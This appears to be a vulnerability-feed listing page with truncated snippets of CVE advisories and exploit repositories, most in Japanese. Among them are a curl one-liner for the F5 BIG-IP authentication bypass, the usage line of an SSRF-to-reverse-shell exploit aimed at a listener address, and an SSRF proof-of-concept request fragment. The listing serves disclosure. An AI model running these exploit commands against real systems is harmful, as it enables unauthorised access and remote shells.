sricam-gsoap2.8-dos-exploit

sricam-gsoap2.8-dos-exploit Sricam gSOAP2.8 DoS エクスプロイトの概念実証 概念実証コード: SricamgSOAPPoCexploit.sh CVE-2019-6973 https://vulners.com/cve/CVE-2019-6973 CVE 割り当てチームには、以下の構成をまとめるにあたりご支援いただき感謝します。 説明 Sricam IP CCTV カメラは、複数の不完全な HTTP リクエストによりサービス拒否 DoS に対して脆弱です。これは、Web サーバー gSOAP 2.8.x ベース が反復的なキューイング方式...

CVE-2026-76427 Cisco ISE XML External Entity Injection Vulnerability

A vulnerability in the offline profiler feed service of Cisco ISE could allow an authenticated, remote attacker to read arbitrary files that are stored on an affected device. This vulnerability is due to the parsing of attacker-controlled feed metadata with an XML parser that does not disable...

CVE-2026-92568 MLRun through 1.11.0 Server-Side Request Forgery via Webhook

MLRun through 1.11.0 contains a server-side request forgery vulnerability in the WebhookNotification handler that allows authenticated users to make the API server send arbitrary HTTP requests to internal addresses. Attackers can update a run with a malicious webhook notification that executes wh...

CVE-2026-92566

DataGear through 6.0.0 contains an unauthenticated server-side request forgery (SSRF) vulnerability in the /dataSet/preview/Http endpoint. By supplying a caller-controlled URI, an attacker can issue GET, POST, PUT, PATCH, or DELETE requests to internal services and cloud metadata endpoints, recei...

CVE-2026-19535

Nozomi Networks Labs identified a CWE-352 (Cross-Site Request Forgery) vulnerability in the LuCI administrative web interface of the Advantech EKI-1242IEIMS industrial Ethernet switch (firmware V1.06.01 ). A remote, unauthenticated attacker can perform unauthorized state-changing requests on beha...

Sharepoint-cve-2023-29375-incident-response

SOCインシデント分析: Microsoft SharePoint Server 特権昇格（CVE-2023-29375） Microsoft SharePoint サーバーを標的とした、重大なエクスプロイトおよび列挙試行の詳細なセキュリティ調査。 インシデント概要 アラート名: SOC227 - Microsoft SharePoint Server Elevation of Privilege - Possible CVE-2023-29375 Exploitation 重大度: クリティカル 日時: 2023年10月6日 20:05 ターゲットホスト名:...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP 16.1.x（16.1.2.2未満）、15.1.x（15.1.5.1未満）、14.1.x（14.1.4.6未満）、13.1.x（13.1.5未満）、および全12.1.x/11.6.xバージョンにおいて、未公開のリクエストによりiControl REST認証がバイパスされる可能性があります。 この脆弱性をテストするには、以下のcURLワンライナーを使用します。 curl -k --header "Host: 127.0.0.1" --header "Authorization: Basic YWRtaW46YWRtaW4=" --header...

CVE-2026-36958

CVE-2026-36958: 同時HTTPリクエストによるサービス拒否 CVE ID: CVE-2026-36958 日付: 2026-04-29 発見者: Kirubel Solomne ベンダー: U-SPEED 製品: U-SPEED ルーター ファームウェアバージョン: V1.0.0 CWE: CWE-400 - 制御されないリソース消費 説明 U-SPEED ルーターのファームウェア V1.0.0 はサービス拒否に対して脆弱です。Web管理インターフェース上のランダムまたは存在しないエンドポイントに対して大量の同時HTTPリクエストを送信することで、攻撃者は組み込みの Boa...

Vehicle-Service-Management-System-Service-Requests-Stored-Cross-Site-Scripting-XSS

CVE-2021-46070 エクスプロイトタイトル: Vehicle Service Management System - 'Service Requests' 保存型クロスサイトスクリプティング XSS エクスプロイト作者: SANU P.L CVE: CVE-2021-46070 CVSS: 4.8 MEDIUM 参照: https://www.plsanu.com/vehicle-service-management-system-service-requests-stored-cross-site-scripting-xss...

CVE-2023-27163-AND-Mailtrail-v0.53

自動エクスプロイト 概要 以下のエクスプロイトは、Requests Baskets v1.2.1 SSRF脆弱性を悪用して、127.0.0.1:80で動作している内部アプリケーションを外部アプリケーションの/pwnedに転送します。Mailtrail v0.53 アプリケーションが転送されると、それに対してリバースシェルコマンドが実行され、数秒以内にユーザーはマシン上でリバースシェルを取得できます。 コマンド root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT エクスプロイ...

CVE-2025-45250

CVE-2025-45250 推奨される説明 root@kitploit: MrDoc =0.95 is vulnerable to Server-Side Request Forgery SSRF in the validateurl function of the appdoc/utils.py file. POC root@kitploit: POST /uploaddocimg/ HTTP/1.1 Host: ip:port Accept-Encoding: gzip, deflate DNT: 1 Cookie: your cookie User-Agent:...

kit-oauth

kit-oauth Kit 애플리케이션용 OAuth 2.0 클라이언트 라이브러리 TOC 파일 파일| 설명 ---|--- .editorconfig| 편집기 포맷 설정 .gitignore| 빌드 산출물 및 의존성에 대한 Git 무시 규칙 .tool-versions| asdf 툴 버전 Zig, Kit LICENSE| MIT 라이선스 파일 README.md| 이 파일 examples/client-credentials.kit| 드라이런 클라이언트 자격 증명 예제 examples/github.kit| 드라이런 GitHub 인가 코드 예제...

CVE-2026-78252

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.3 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an authenticated user could have induced a targeted user to perform unintended state-changing HTTP requests due to improper...

CVE-2026-78252 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLab

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.3 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an authenticated user could have induced a targeted user to perform unintended state-changing HTTP requests due to improper...

CVE-2026-78252

GitLab CE/EE versions from 15.3 before 19.1.8 , 19.2 before 19.2.6 , and 19.3 before 19.3.2 are affected by improper sanitization of user-controlled data in the Markdown JSON table renderer . Under certain conditions, an authenticated user could induce a targeted user to perform unintended state-...

CVE-2026-76559

The WP Import Export Lite WordPress plugin before 3.9.33 does not properly validate URLs before requesting them during the import process, allowing users with the import capability, which administrators hold by default, to make the site issue requests to internal hosts and services and read their...

EUVD-2026-80183

The WP Import Export Lite WordPress plugin before 3.9.33 does not properly validate URLs before requesting them during the import process, allowing users with the import capability, which administrators hold by default, to make the site issue requests to internal hosts and services and read their...

CVE-2022-24112

CVE-2022-24112 Apache APISIX apisix/batch-requests RCE...

cve-2023-2745

使用方法 ファイルを checkcve-2023-2745.py として保存し、実行権限を付与します: chmod +x checkcve-2023-2745.py 依存関係をインストールします（一度だけ）: python3 -m pip install requests 実行: python3 checkcve-2023-2745.py https://example.com...

cve-2024-24919

偵察ツール インストール 1. git clone https://github.com/satchhacker/cve-2024-24919.git 2. cd cve-2024-24919 3. chmod +x cve-2024-24919.sh 4. ln -s $pwd/cve-2024-24919.sh /usr/bin/cve-2024-24919.sh ツールを使用するには、以下のコマンドを実行してください： cve-2024-24919 使用方法...